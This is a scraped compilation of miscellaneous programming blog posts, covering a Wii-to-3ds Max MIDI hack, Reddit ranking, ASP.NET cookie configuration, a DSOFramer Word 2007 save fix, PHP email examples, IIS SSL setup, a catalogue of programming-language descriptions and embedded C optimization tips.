Now you can have your Wii and use Studio Max too! Fusing work and play, the hack uses Processing, Midi Yoke, Ableton Live and the 3D Studio Max Motion Capture Controller to transmit movement from the WiiChuck to 3D Studio Max via MIDI
Excel is an all-round office tool, but probably it is unknown that it has a bunch of features that makes Excel a high-class 3D graphics engine. the embedded rendering subsystems and the revolutionary approach which might just cause a paradigm shift. You will discover that Excel effectively and efficiently incorporates practicality, tons of features, the multi-platform portability and the high performance with the unique and futuristic 3D engine features.
I usually look for customization when I register at interesting websites, like google reader, wordpress and when I get bored, I build my own application, that help me in achieving, my requirement. Yes I did my own RSS Reader. Its very simple and still features coming in.
Microsoft has provided .Net free of charge not many know about this, as long as you are running it on a valid copy of windows. You can develop applications, but just have to download the framework, compliers, the CLR.
First you will have to download the visual studio express. Microsoft has set up a website to get you started with .Net too.
Its weird though, but Reddit algorithm works with the number of visits to the number of votes.
Assume a news item gets 8-12 points and about 500 users click the link the the news item is likely to reach the front page as the 25th leading post along with the other posts that have a 3 digit vote.
And a news item is likely to stay on the rising page for over an hour with zero points, this clearly shows that the number of clicks is the major criteria of the post being on the rising and on the front page.
Then in your web.config use an authentication section similar to the following:
name="myCookie"
timeout="20"
loginUrl="Default.aspx"
defaultUrl="Default.aspx"
protection="All"
path="/"
requireSSL="false"
slidingExpiration="true"
cookieless="UseDeviceProfile"
domain="domain.com"
enableCrossAppRedirects="true"
/> Internet Explorer will only pass cookies from one site to another if they have the domain cookie attribute set; i.e. the Fully Qualified Domain Name is required. Moreover all GET/POST must use the FQDN, as any Response.Redirect. The reason behing this is security, to make sure that a cookie is not passed to another site, thus exposing to cookies stealing.
If you are using DSOFramer sample to host Office Documents, and tried to open and save Word 2007 documents in this manner, guess what !! the file seems to be deleted !
Using Process Monitor from sysinternals it was noted that files were being moved to a temp directory and then while saving it, changes were being made in it..strange!
The DSOFramer code had the IPersist:Save() is returning S_OK, Looking at the Word 2007 code, it seemed like a bug in the implementation of IPersist:Save()
Here is the modified DSOFramer code
if (SUCCEEDED(hr = m_pole->QueryInterface(IID_IPersistFile, (void**)&pipfile)))
{
hr = pipfile->Save(pwszFile, FALSE);
pipfile->Release();
//CODE MODIFICATION START
if (SUCCEEDED(hr) && !FFileExists(pwszFile))
{
//We should come here only in case of Word 2007.
CopyFileW(pwszCurPath, pwszFile, TRUE);
}
//CODE MODIFICATION END
}
Me a programmer and I know JavaScript, PHP, Java, C, C++, VB, Ruby, Perl. Enough of me What about you. How many languages do you know.
So what makes you or me a good programmer.
- Is it the number of programming languages mastered and can be used with fluency.
- Is it the applications created with these languages.
- Is it that the applications created with the languages you know are liked by the end-users.
- Is it the applications are better from what others have created.
- Is it the logic behind the coding or way the code is written.
- Is it the UI, well for one thing. The credit for the UI has to be given to graphic designers
- Speaking of graphics, could one be a programmer and be an expert in graphics. That would be great because that person would do 2 jobs in one or will have a good understanding when coding as it will be easy on the graphic designer.
//define the receiver of the email
$to = 'youraddress@example.com';
//define the subject of the email
$subject = 'Test email';
//define the message to be sent. Each line should be separated with \n
$message = "Hello World!\n\nThis is my first mail.";
//define the headers we want passed. Note that they are separated with \r\n
$headers = "From: webmaster@example.com\r\nReply-To: webmaster@example.com";
//send the email
$mail_sent = @mail( $to, $subject, $message, $headers );
//if the message is sent successfully print "Mail sent". Otherwise print "Mail failed"
echo $mail_sent ? "Mail sent" : "Mail failed";
?>
Sending HTML Email
//define the receiver of the email
$to = 'youraddress@example.com';
//define the subject of the email
$subject = 'Test HTML email';
//create a boundary string. It must be unique
//so we use the MD5 algorithm to generate a random hash
$random_hash = md5(date('r', time()));
//define the headers we want passed. Note that they are separated with \r\n
$headers = "From: webmaster@example.com\r\nReply-To: webmaster@example.com";
//add boundary string and mime type specification
$headers .= "\r\nContent-Type: multipart/alternative; boundary=\"PHP-alt-".$random_hash."\"";
//define the body of the message.
ob_start(); //Turn on output buffering
?>
--PHP-alt-
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
//copy current buffer contents into $message variable and delete current output buffer
$message = ob_get_clean();
//send the email
$mail_sent = @mail( $to, $subject, $message, $headers );
//if the message is sent successfully print "Mail sent". Otherwise print "Mail failed"
echo $mail_sent ? "Mail sent" : "Mail failed";
?>
Sending Email with Attachment
//define the receiver of the email
$to = 'youraddress@example.com';
//define the subject of the email
$subject = 'Test HTML email';
//create a boundary string. It must be unique
//so we use the MD5 algorithm to generate a random hash
$random_hash = md5(date('r', time()));
//define the headers we want passed. Note that they are separated with \r\n
$headers = "From: webmaster@example.com\r\nReply-To: webmaster@example.com";
//add boundary string and mime type specification
$headers .= "\r\nContent-Type: multipart/alternative; boundary=\"PHP-alt-".$random_hash."\"";
//define the body of the message.
ob_start(); //Turn on output buffering
?>
--PHP-alt-
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
1. Open IIS Manager and click on the Web Server on the Connection Pane on the left.
2. On the middle Pane under the IIS section you will see a bunch of options. Select the "Server Certificates".
3. On the resulting page the certs in your LocalMachine->My store should be automatically listed in the Middle Pane. If your server cert is something else, that you have exported then use the "Import..." option on the right pane to get your certificate.
4. Now click on the Web Site on the Connection Pane on the left. On the right pane select bindings and click "Add". Select "https" for the Type, the default port is 443 which you can change and select your Certificate in the SSL Certificate list. Click OK.
If there is a spam post reddit effectively blocks it, which is very good as it saves us all a lot of time and energy not going through the headlines. But the fault code comes in the new news section displaying the all the new posts (not the rising news). The numbering of the posts is missing as one can know that that there is spam blocked. Some numbers will be missing, this is the faulty code. Even though the spam is blocked the numbers should not be missing and should be a continuous count.
Moreover it looks good. and Reddit can put up the number of spams blocked as a counter. This sure is to get smiles on some bloggers who have trouble with the spam comments. :)
Edit vob files in Ulead Videostudio 9 or 10. Select ‘Insert media file to Timeline’ from the File menu then choose ‘Insert DVD/DVD-VR’ from the submenu. After successfully importing and editing the video, click the Share tab and choose Create Video file from the options panel.
Powerpoint supports a variety of video formats including avi, mpeg2 and wmv. To maintain quality and provide the best playback performance on a PC, wmv is probably the best option. Choose a profile that either matches, or is close to the resolution of the original file; for example, UK Pal video is a resolution of 720 x 576.
This is the most simple method of creating a RSS feed for your website, this would work if you have php, mysql on your webserver. Now as you update your index page the RSS will also automatically update
Put the below code(link) between the
<head></head>
tag and the rest of the code in the php tags (I have not put those) in the index.php file.
Thinlet
"Thinlet is a GUI toolkit, a single Java class, parses the hierarchy and properties of the GUI, handles user interaction, and calls business logic. Separates the graphic presentation (described in an XML file) and the application methods (written as Java code)."
<bigwig> is a high-level programming language for developing interactive
Web services. Complete specifications are compiled into a conglomerate of
lower-level technologies such as HTML, CGI Scripts, JavaScript, HTTP
Authentication, and Java Applets.
[...] It embodies a rich set of functions and operators, a modern graphical
user interface with many widgets and automatic synchronization of widgets and
variables, asynchronous execution of functions associated with variables and
events, dynamic loading of user compiled subroutines, and many other features.
Execution is by a rather efficient interpreter. A+ was created at Morgan
Stanley. Primarily used in a computationally-intensive business environment,
many critical applications written in A+ have withstood the demands of real
world developers over many years. Written in an interpreted language, A+
applications tend to be portable.
ABC is an interactive programming language and
environment for personal computing, originally intended as a good
replacement for BASIC. It was designed by first doing a task analysis of
the programming task.
ABC is easy to learn (an hour or so for someone who has already
programmed), and yet easy to use. Originally intended as a language for
beginners, it has evolved into a powerful tool for beginners and experts
alike.
Ada is a computer programming language originally designed to support
the construction of long-lived, highly reliable software systems. Its
design emphasizes readability, avoids error-prone notation, encourages
reuse and team coordination, and it is designed to be
efficiently implementable.
A significant advantage of Ada is its reduction of debugging time. Ada
tries to catch as many errors as reasonably possible, as early as
possible. Many errors are caught at compile-time by Ada that aren't
caught or are caught much later by other computer languages. Ada
programs also catch many errors at run-time if they can't be caught at
compile-time (this checking can be turned off to improve performance
if desired). In addition, Ada includes a problem (exception) handling
mechanism so that these problems can be dealt with at run-time.
ALF is a language which combines functional and logic programming
techniques. The foundation of ALF is Horn clause logic with equality which
consists of predicates and Horn clauses for logic programming, and functions
and equations for functional programming.
ALLOY is a higher level parallel programming language appropriate
for programming massively parallel computing systems. It is based
on a combination of ideas from functional, object oriented and logic
programming languages.
E is a powerful and flexible object oriented / procedural / unpure
functional higher programming language, mainly influenced by languages such
as C++, Ada, Lisp etc., and Amiga E a very fast compiler for it, with
features such as speed of >20000 lines/minute on a 7 Mhz amiga, inline
assembler and linker integrated into compiler, large set of integrated
functions, great module concept with v40 includes as modules, flexible
type-system, quoted expressions, immediate and typed lists, parametric and
inclusion polymorphism, exception handling, inheritance, data-hiding,
methods, multiple return values, default arguments, register allocation,
fast memory management, unification, LISP-Cells, gui-toolkit, (macro-)
preprocessor, very intuitive and powerful source-level debugger, easy
.library linking, and much more...
BASIC (standing for Beginner's All Purpose Symbolic Instruction
Code) is a system developed at Dartmouth College in 1964 under the
directory of J. Kemeny and T. Kurtz. It was implemented for the
G.E.225. It was meant to be a very simple language to learn and also
one that would be easy to translate. Furthermore, the designers wished
it to be a stepping-stone for students to learn on of the more powerful
languages such as FORTRAN or ALGOL.
Object-oriented programming originated with the Simula language
developed by Kristen Nygaard in Oslo in the 1960s. Since then, OOP has achieved
great prominence with the commercial success of C++, Smalltalk, and Eiffel.
Now, from the birthplace of OOP, comes the new BETA programming language, for
which this book is both tutorial and reference. It provides a clear
introduction to the basic concepts of OOP and an easy learning curve from
simple programs to more advanced applications in BETA for students and
programmers.
Blue is an object-oriented programming language that was developed especially
for teaching. It runs in an integrated programming enviroment that includes
a graphical program structure editor, a text editor, a debugger, a library
browser, and more. It was developed for teaching ob[j]ect-oriented concepts
to first-year students.
Business Rules! is the progeny of Workstation Basic. It will still support
legacy applications and still maintains the emphasis on using minimal system
resources that was so important early on. It has grown to incorporate many new
technologies including advanced indexing, the ability to access
platform-dependant devices directly with generic syntax calls, output spooling,
externalization of functions (libraries), many platform-independent commands
that mimic O.S. commands, Windows compatibility features and functionality, and
much more.
1. The third letter of the English alphabet. 2. ASCII 1000011. 3. The
name of a programming language designed by Dennis Ritchie during
the early 1970s and immediately used to reimplement Unix; so called
because many features derived from an earlier compiler named `B' in
commemoration of its parent, BCPL. (BCPL was in turn descended from an
earlier Algol-derived language, CPL.) Before Bjarne Stroustrup settled
the question by designing C++, there was a humorous debate over whether
C's successor should be named `D' or `P'. C became immensely popular
outside Bell Labs after about 1980 and is now the dominant language in
systems and microcomputer applications programming. See also languages
of choice, indent style.
C is often described, with a mixture of fondness and disdain varying
according to the speaker, as "a language that combines all the
elegance and power of assembly language with all the readability and
maintainability of assembly language".
An extension to the C language developed primarily by
B.Stroustrup at AT&T Bell Laboratories: it supports object-oriented
programming among other enhancements.
Cecil is a purely object-oriented language intended to support rapid
construction of high-quality, extensible software. Cecil incorporates
multi-methods, a simple prototype-based object model, a mechanism to support a
structured form of computed inheritance, module-based encapsulation, and a
flexible static type system which allows statically- and dynamically-typed code
to mix freely.
Centum is an interpreted language that is intended to make it easy to
express algorithms in, and is a hybrid between functional programming
and object oriented programming.
Charity is functional in style. That is, programmers familiar with declarative
paradigms (functional and logic programmers) should find Charity easy to grasp.
Charity is based on the theory of strong categorical datatypes. These are
divided into two subclasses: the inductive datatypes (built up by constructors
in the familiar way) and the coinductive datatypes (broken down by
destructors). Programs over these datatypes are expressed by folds
(catamorphisms) and by unfolds (anamorphisms), respectively.
CHILL (CCITT High Level Language) is a general procedural programming
language which is mainly used in the field of telecommunications. As a general
programming language it is by no means limited to this field. A number of CHILL
programming environments are also implemented in CHILL.
CLAIRE is a high-level functional and object-oriented language with
advanced rule processing capabilities. It is intended to allow the programmer
to express complex algorithms with fewer lines and in an elegant and readable
manner.
This language is designed for modeling concurrency and advanced
computation. It provides lazy evaluation in multithreating[sic] programs,
with object-oriented and functional style of semanthic.
The cT programming language is an algorithmic language like C, Pascal,
Fortran, and Basic, but greatly enhanced by multimedia capabilities, including
easy-to-use support for color graphics, mouse interactions, and even movies in
QuickTime or Video for Windows format.
Dylan is a general-purpose high-level programming language, designed for
use both in application and systems programming. Dylan includes garbage
collection, run-time type checking, selective dynamism, error recovery,
and a module system. These features simplify programming and support
attractive debugging and development tools.
Elf is a constraint logic programming language based on the LF Logical
Framework. [...] Elf is a uniform meta-language for specifying, implementing,
and proving properties of programming languages and logics.
Euphoria is a simple, flexible, and easy-to-learn programming language.
It lets you quickly and easily develop programs for DOS and Windows. A Linux
version is coming soon. [...] Although Euphoria provides subscript checking,
uninitialized variable checking and numerous other run-time checks, it is
extremely fast. People have used it to develop high-speed 32-bit DOS games, as
well as 32-bit Windows programs.
Felix is new, high power, Open Source, community based programming
language which provides an ML style type system with a syntax that C++
programmers should find easy to learn. It generates C++ and supports
both use of C++ types as primitives, as well as embedding in existing
C++ written architectures in a natural manner.
ferite is a scripting language and engine all in one managable chunk. It
is designed to be easily extended in terms of API, and to be used within other
applications making them more configurable and useful to the end user. It has a
syntax similiar to a number of other langauges but remains clean and it's own
language. [The description from the Debian package mentions Perl, Python, C,
Java and Pascal as influences.]
Forth provides an interactive programming environment. Its primary
uses have been in scientific and industrial applications such as
instrumentation, robotics, process control, graphics and image
processing, artificial intelligence and business applications. The
principal advantages of Forth include rapid, interactive software
development and efficient use of computer hardware.
Forth is often spoken of as a language because that is its most visible
aspect. But in fact, Forth is both more and less than a conventional
programming language: more in that all the capabilities normally
associated with a large portfolio of separate programs (compilers,
editors, etc.) are included within its range and less in that it lacks
(deliberately) the complex syntax characteristic of most high-level
languages.
GNU E is a persistent, object oriented programming language developed as part
of the Exodus project. GNU E extends C++ with the notion of persistent data,
program level data objects that can be transparently used across multiple
executions of a program, or multiple programs, without explicit input and
output operations.
Guile is an interpreter for the Scheme programming language, nicely packaged as
a library you can link into your programs. Your program has full access to the
interpreter's data structures, so you can extend Guile with your own
primitives, datatypes and syntax. The result is a scripting language tailored
to your application.
Gödel is a declarative, general-purpose programming language in the family of
logic programming languages. It is a strongly typed language, the type system
being based on many-sorted logic with parametric polymorphism. It has a module
system. Gödel supports infinite precision integers, infinite precision
rationals, and also floating-point numbers. It can solve constraints over
finite domains of integers and also linear rational constraints. It supports
processing of finite sets. It also has a flexible computation rule and a
pruning operator which generalises the commit of the concurrent logic
programming languages. Considerable emphasis is placed on Gödel's meta-logical
facilities which provide significant support for meta-programs that do
analysis, transformation, compilation, verification, debugging, and so on.
Haskell is a `purely functional' language. Computation proceeds by
replacing expressions with their value. While all computer languages
incorporate functions to some degree, Haskell programs are composed
solely of functions. Haskell is based on lambda calculus, hence the l we
use as a logo. The language is named for the logician Haskell B. Curry,
whose work provided much of the logical basis for our language.
ICI is a programming language with a dynamic, object based data model with
the flow control constructs and operators of C. It is designed for use in
many environments, including embedded systems, as an adjunct to other
programs and as a text based interface to compiled libraries.
Icon is a high-level, general-purpose programming language with a large
repertoire of features for processing data structures and character
strings. Icon is an imperative, procedural language with a syntax
reminiscent of C and Pascal, but with semantics at a much higher level.
J is a very high level general-purpose language, with a strong emphasis
on functional programming and array processing. J was designed and
developed by Ken Iverson and Roger Hui, and implemented by Iverson
Software Inc (ISI).
J is distinguished by its simple and consistent rules, a large set of
built-in functions, powerful facilities for defining new operations, and
a general and systematic treatment of arrays. It is ideal for complex
analytical work, modelling, and rapid application development.
The language Joy is a purely functional programming language. Whereas all other
functional programming languages are based on the application of functions to
arguments, Joy is based on the composition of functions. All such functions
take a stack as argument and produce a stack as value. Consequently much of Joy
looks like ordinary postfix notation.
NI LabVIEW is the graphical development environment for creating
flexible and scalable test, measurement, and control applications
rapidly and at minimal cost. With LabVIEW, engineers and scientists
interface with real-world signals, analyze data for meaningful
information, and share results and applications. Regardless of
experience, LabVIEW makes development fast and easy for all users.
an experimental object-oriented rapid application development (RAD)
language with parameterized ("virtual") types, refactoring and component
support, which replaces text editors completely by structure editors
LIFE (Logic, Inheritance, Functions, and Equations) is an experimental
programming language proposing to integrate three orthogonal programming
paradigms proven useful for symbolic computation. From the programmer's
standpoint, it may be perceived as a language taking after logic programming,
functional programming, and object-oriented programming. From a formal
perspective, it may be seen as an instance (or rather, a composition of three
instances) of a Constraint Logic Programming scheme due to Hoehfeld and Smolka
refining that of Jaffar and Lassez.
Limbo is a programming language intended for applications running distributed
systems on small computers. It supports modular programming, strong type
checking at compile- and run-time, interprocess communication over typed
channels, automatic garbage collection, and simple abstract data types. It is
designed for safe execution even on small machines without hardware memory
protection.
Lingo is a high level Windows programming language with automatic memory
management, simple class structure, large library, working example
programs, developer environment, dialog editor, compiler and debugger.
[...] Lingo has been under development for about 10 years.
[from `LISt Processing language', but mythically from `Lots of
Irritating Superfluous Parentheses'] AI's mother tongue, a language
based on the ideas of (a) variable-length lists and trees as
fundamental data types, and (b) the interpretation of code as
data and vice-versa. Invented by John McCarthy at MIT in the late
1950s, it is actually older than any other HLL still in use except
FORTRAN. Accordingly, it has undergone considerable adaptive radiation
over the years; modern variants are quite different in detail from the
original LISP 1.5. The dominant HLL among hackers until the early 1980s,
LISP now shares the throne with C.
Note: HLL is an acronym for "High-Level Language" (as opposed to for
instance assembler).
Logo is a computer programming language designed for use by learners,
including children. One of the ideas guiding its creation was the
principle "low floor, high ceiling." This means that it should be easy
for the novice programmer to get started (the "low floor") writing
programs and getting satisfaction doing so, but that the language should
be powerful and extensive in a "sky is the limit" sort of way (the "high
ceiling").
Lua is a programming language originally designed for extending applications,
but also frequently used as a general-purpose, stand-alone language. Lua
combines simple procedural syntax (similar to Pascal) with powerful data
description constructs based on associative arrays and extensible semantics.
Lua is dynamically typed, interpreted from bytecodes, and has automatic memory
management with garbage collection, making it ideal for configuration,
scripting, and rapid prototyping.
MATLAB is an intuitive language and a technical computing environment. It
provides core mathematics and advanced graphical tools for data analysis,
visualization, and algorithm and application development.
MC# - is a high-level object oriented programming language based on .NET
Platform created specially for developing complex industrial program
systems that could use multiprocessor architectures. It's an adaptation
of the base idea of Polyphonic C# language (nowadays also known as
Cdelta - Benton N., Cardelli L., Fournet C., Microsoft Research
Laboratory, Cambridge, UK) for the case when we have concurrent
distributed computations. This language has taken the best ideas from
languages: C#, Polyphonic C# (nowadays known as C-Omega or C# 3.0) and
T-System (T++ language).
MCPL is a simple typeless language which is based on BCPL. It makes extensive
use of pattern matching somewhat related to that used in ML and Prolog, and
some other features come from C.
Mercury is a new logic/functional programming language, which combines the
clarity and expressiveness of declarative programming with advanced static
analysis and error detection features. Its highly optimized execution algorithm
delivers efficiency far in excess of existing logic programming systems, and
close to conventional programming systems. Mercury addresses the problems of
large-scale program development, allowing modularity, separate compilation, and
numerous optimization/time trade-offs.
The aim of the Miranda system is to provide a modern functional language,
embedded in an `industrial quality' programming environment. It is now
being used at a growing number of sites for teaching functional programming and
as a vehicle for the rapid prototyping of software.
ML (which stands for Meta-Language) is a family of advanced programming
languages with [usually] functional control structures, strict
semantics, a strict polymorphic type system, and parametrized
modules. It includes Standard ML, Lazy ML, CAML, CAML Light, and various
research languages. Implementations are available on many platforms,
including PCs, mainframes, most models of workstation, multi-processors
and supercomputers. ML has many thousands of users, is taught at many
universities (and is the first programming language taught at some).
Modula-2 is a programming notation that corrects some of the
deficiencies of Pascal. It is suitable for learning programming, for
large projects written and maintained in the fashion of professional
software engineers, and for real time embedded systems.
Modula-3 is a member of the Pascal family of languages. Designed
in the late 1980s at Digital Equipment Corporation and Olivetti,
Modula-3 corrects many of the deficiencies of Pascal and Modula-2 for
practical software engineering. In particular, Modula-3 keeps the
simplicity of type safety of the earlier languages, while providing
new facilities for exception handling, concurrency, object-oriented
programming, and automatic garbage collection. Modula-3 is both a
practical implementation language for large software projects and an
excellent teaching language.
Nemerle is a high-level statically-typed programming language for the
.NET platform. It offers functional, object-oriented and imperative
features. It has a simple C#-like syntax and a powerful meta-programming
system.
NESL is a parallel language developed at Carnegie Mellon by the SCandAL
project. It integrates various ideas from the theory community (parallel
algorithms), the languages community (functional languages) and the system's
community (many of the implementation techniques). The most important new ideas
behind NESL are
Nested data parallelism: this feature offers the benefits of data
parallelism, concise code that is easy to understand and debug, while being
well suited for irregular algorithms, such as algorithms on trees, graphs or
sparse matrices [...].
A language based performance model: this gives a formal way to calculated
the work and depth of a program. These measures can be related to running
time on parallel machines.
NetRexx is a new human-oriented programming language, designed as an
effective and simple alternative to the Java language. With NetRexx, you
can create programs and applets for the Java environment faster and more
easily than by programming in Java. Using Java classes is especially
easy in NetRexx, as the different types of numbers and strings that Java
expects are handled automatically by the language.
Inspired by two very different programming languages, Rexx and Java,
NetRexx blends the easy-to-learn syntax of Rexx with the robustness and
portability of the Java environment. The result is a language which is
tuned for both scripting and application development, and is therefore
truly general-purpose.
Oberon-2 is a general-purpose programming language in the tradit ion of
Pascal and Modula-2. Its most important features are block structure,
modularity, separate compilation, static typing with strong type
checking (also across module boundaries), and type extension with
type-bound procedures.Type extension makes Oberon-2 an object-oriented
language.
Objective-C was designed by Brad J. Cox, whose primary purpose was to add
the main features of SmallTalk-80 to the C language. His work led to an
object-oriented language, with a complete programming enviroment inspired
by SmallTalk-80, even comprising a large part of the later's basic library.
Obliq is a lexically-scoped untyped interpreted language that supports
distributed object-oriented computation. An Obliq computation may involve
multiple threads of control within an address space, multiple address spaces on
a machine, heterogeneous machines over a local network, and multiple networks
over the Internet. Obliq objects have state and are local to a site. Obliq
computations can roam over the network, while maintaining network connections.
A programming language which facilitates writing parallel programs,
allowing the programmer to specify whether processes are to be executed
sequentially or in parallel. Based on CSP, it was originally developed
for the Transputer.
GNU Octave is a high-level language, primarily intended for numerical
computations. It provides a convenient command line interface for solving
linear and nonlinear problems numerically, and for performing other numerical
experiments using a language that is mostly compatible with Matlab. It may also
be used as a batch-oriented language.
[...] a concurrent object-oriented language with dataflow synchronization. Oz
combines concurrent and distributed programming with logical constraint-based
inference, [...]
Perl is an interpreted language optimized for scanning arbitrary text
files, extracting information from those text files, and printing
reports based on that information. It's also a good language for many
system management tasks. The language is intended to be practical (easy
to use, efficient, complete) rather than beautiful (tiny, elegant,
minimal). It combines (in the author's opinion, anyway) some of the best
features of C, sed, awk, and sh, so people familiar with those languages
should have little difficulty with it.
Phantom is a new interpreted language designed to address some of the
problems presented by large-scale, interactive, distributed applications
such as distributed conferencing systems, multi-player games, and
collaborative work tools. Phantom combines the distributed lexical
scoping semantics of Obliq with a substantial language core.
PHP Version 3.0 is an HTML-embedded scripting language. Much of its syntax is
borrowed from C, Java and Perl with a couple of unique PHP-specific features
thrown in. The goal of the language is to allow web developers to write
dynamically generated pages quickly.
Pike is a dynamic language with a syntax that looks like C. It is simple
to learn, doesn't need long compilation passes and has powerful builtin
data types that allows simple and fast data manipulation. Pike is GPL
which means that anybody can fetch if for free and use it for almost any
purpose they please.
PiXCL (PIxel-based eXtendable Command Language) is a [...]
Windows scripting language that includes a large set of image processing
commands and a TWAIN-device command set. It is intended to be used to
quickly create image acquisition, display and processing applications.
Includes string, integer, float, integer64 and double variable types and
arrays. Comes in three versions: FreePiXCL (unrestricted, earlier demo
version with 560 functions), PiXCL (700+ functions) and geoPiXCL (50+ extra
image processing and analysis functions). All versions include an EXE
compiler.
The PL/B programming language, which was originally developed in 1972 as
DATABUS(R), is currently the primary business programming language for over
250,000 workstations in over 40 countries and is supported by at least nine
independent compiler companies on a broad range of hardware and operating
systems.
PL/B supports highly interactive business application programming in individual
and shared network environments. It has been developed to be easily learned in
shorter time frames and by less experienced personnel than a majority of other
standard languages. The language structure lends itself not only to easy code
generation, but also to easy automated code analysis and reengineering which
J15 feels are important considerations for future business programming
environments.
Note: J15 is the technical committee for the development of the ANSI standard
for PL/B.
PL/I is a general-purpose programming language, which is used for
solving problems in a variety of fields such as commerce, science
(including mathematics, physics, chemistry), engineering (incl. civil,
electrical, aeronautics), medicine and so on. It can be used for
system programming, and the facilitites are such that it is rarely if
ever necessary to resort to machine-language or high-level language
programming to solve problems.
It's a bit difficult to describe what Pliant is, since it is more a new
generation of language than an improvement in a given programming language
family. The main idea behind Pliant: instead of building a slightly new
language that has a few new interresting features, build a newer, very tiny
language with a very simple syntax, where most advanced features can be written
in the language itself, as modules.
PostScript is a programming language optimized for printing graphics
and text (whether on paper, film, or CRT is immaterial). In the jargon
of the day, it is a page description language. It was introduced
by Adobe in 1985 and first (to my knowledge) appeared in the Apple
LaserWriter. The main purpose of PostScript was to provide a convenient
language in which to describe images in a device independent
manner. This device independence means that the image is described
without reference to any specific device features (e.g. printer
resolution) so that the same description could be used on any PostScript
printer (say, a LaserWriter or a Linotron) without modification.
Python is an interpreted, interactive, object-oriented programming
language. It is often compared to Tcl, Perl, Scheme or Java.
Python combines remarkable power with very clear syntax. It has modules,
classes, exceptions, very high level dynamic data types, and dynamic
typing. There are interfaces to many system calls and libraries,
as well as to various windowing systems (X11, Motif, Tk, Mac, MFC,
Gtk, Qt). New built-in modules are easily written in in C or C++. Python
is also usable as an extension language for applications that need a
programmable interface.
An Equational Programming Language. Q is a functional programming language
based on term rewriting. Thus, a Q program or "script" is simply a
collection of equations which are used to evaluate expressions in a
symbolic fashion.
R, also known as `GNU S', is a system for statistical computation and graphics.
It consists of a language plus a run-time environment with graphics, a
debugger, access to certain system functions, and the ability to run programs
stored in script files. R implements a language which is not entirely unlike
the S language developed at AT&T Bell Laboratories by Rick Becker, John
Chambers and Allan Wilks. Indeed in the absence of an R manual, you can
(mostly) get along by using the S manual.
In general terms, REBOL is a small, flexible language for sharing
content (documents, databases, programs, multimedia) between people,
computers, processes, and networks.
In technical terms, REBOL is a distributed object language which
interprets symbolic, dynamically-scoped, relational environments. (You
wanted to know... [...])
Rexx is a procedural programming language that allows programs
and algorithms to be written in a clear and structured way. It is
easy to use by experts and casual users alike. Rexx has been designed
to make easy the manipulation of the kinds of symbolic objects that
people normally deal with such as words and numbers. Although Rexx has
the capability to issue commands to its host environment and to call
programs and functions written in other languages, Rexx is also designed
to be independent of its supporting system software when such commands
are kept to a minimum.
RPG (Report Program Generator) is a programming language that originated as a
report-building program used in DEC and IBM minicomputer operating systems and
evolved into a fully procedural programming language. Its latest version, RPG
III, is supported by IBM's leading minicomputer system, the AS/400.
Historically, RPG has probably been the second most used programming language,
after COBOL, for commercial applications on mid-range computers.
Ruby is the interpreted scripting language for quick and easy object-oriented
programming. It has many features to process text files and to do system
management tasks (as in perl).
S is a very high level language and an environment for data analysis and
graphics. S was written by Richard A. Becker, John M. Chambers, and Allan R.
Wilks of AT&T Bell Laboratories Statistics Research Department. More
recently, other Bell Labs researchers have made major contributions to a new
modeling capability in S. The S language is the form in which S users express
their computations. The environment provides facilities for data management,
support for many graphics devices, etc. S is useful for computation in a wide
range of applications. It's a very general tool, so that applications are not
restricted to any particular subject area.
Sather is an object oriented language designed to be simple, efficient,
safe, flexible and non-proprietary. One way of placing it in the "space
of languages" is to say that it aims to be as efficient as C, C++, or
Fortran, as elegant as and safer than Eiffel, and support higher-order
functions and iteration abstraction as well as Common Lisp, CLU or
Scheme.
Scheme is a statically scoped and properly tail-recursive
dialect of the Lisp programming language invented by Guy Lewis Steele
Jr. and Gerald Jay Sussman. It was designed to have an exceptionally
clear and simple semantics and few different ways to form expressions. A
wide variety of programming paradigms, including imperative, functional,
and message passing styles, find convenient expression in Scheme.
Designed for expressive power and malleability, Self combines
a pure, prototype-based object model with uniform access to state and
behavior. Unlike other languages, Self allows objects to inherit state
and to change their patterns of inheritance dynamically.
SIMULA is an object-oriented programming language. It has been applied to
almost all kinds of data processing.
The language was defined in 1967 in the "SIMULA Common Base Language". The
language definition has been maintained by the SIMULA Standards Group (SSG),
and the latest definition is found in the "SIMULA Standard", adopted by the SSG
in 1986.
SIMULA has been implemented on almost all types of computers, ranging from
large mainframes to workstations and PC's.
SNOBOL is a special purposed language developed to provide a powerful means of
doing character string manipulation. Accordingly SNOBOL has a collection of
powerful operations for doing string pattern matchings. The most common early
application of SNOBOL was to write text editors.
SR (Synchronizing Resources) is a language for writing concurrent
programs. The main language constructs are resources and
operations. Resources encapsulate processes and variables they share;
operations provide the primary mechanism for process interaction. SR
provides a novel integration of the mechanisms for invoking and
servicing operations. Consequently, all of local and remote procedure
call, rendezvous, message passing, dynamic process creation, multicast,
and semaphores are supported. SR also supports shared global variables
and operations.
Tcl (Tool Command Language; pronounce "tickle") is a string-based
scripting language and an interpreter for that language that is designed
to be easy to embed in other applications.
The Turing family of programming languages feature an easy to learn syntax that
provides strong error checking to make programming easier. They include all of
Pascal's features and more. While Turing is a completely "safe" language,
providing no direct access to the hardware, it's extension, Object Oriented
Turing, includes concurrency, exception handling, objects, classes and
inheritance, and systems programming language features; it is an alternative to
languages like C and Modula.
Visual Basic was originally thought of as a replacement for the Windows
shell, using insertable third party objects as components in the user
interface. Microsoft bought the rights to the idea from Alan Cooper in
1988, and replaced the crude scripting language with a modified version
of their QuickBasic, making it a programming language with a visual UI
designer. The commercial product was released in 1992.
WinBatch is an easy-to-use yet very powerful programming tool - capable of
automating any task involving Windows. Use it for simple tasks like
connecting PC's to network servers, printing batch jobs out at odd hours,
and much more.
Control for every Windows PC
Macros for every purpose
Works from desktop to Internet
At the heart of WinBatch is our Windows Interface Language (WIL). It's a
high-level programming language for automating Windows; hundreds of
Windows tasks are pre-coded for you. Operations that require pages of code
in other programming languages are just a single function call in WinBatch.
The Yorick programming language includes scientific visualization functions
(with output to your screen, PostScript, or binary CGM), text and binary I/O
functions for reading and writing numbers by the millions, and basic linear
algebra functions adapted from the LAPACK library.
ZPL is a new array programming language designed from first principles for fast
execution on both sequential and parallel computers. [...] Users with
scientific computing experience can generally learn ZPL in a few hours. Those
who have used MATLAB or Fortran 90 may already be acquainted with array
programming style.
Embedded software often runs on processors with limited computation power, thus optimizing the code becomes a necessity. Here is the optimization techniques for C and C++ code developed for Real-time and Embedded Systems.
1. Adjust structure sizes to power of two
2. Place case labels in narrow range
3. Place frequent case labels first
4. Break big switch statements into nested switches
5. Minimize local variables
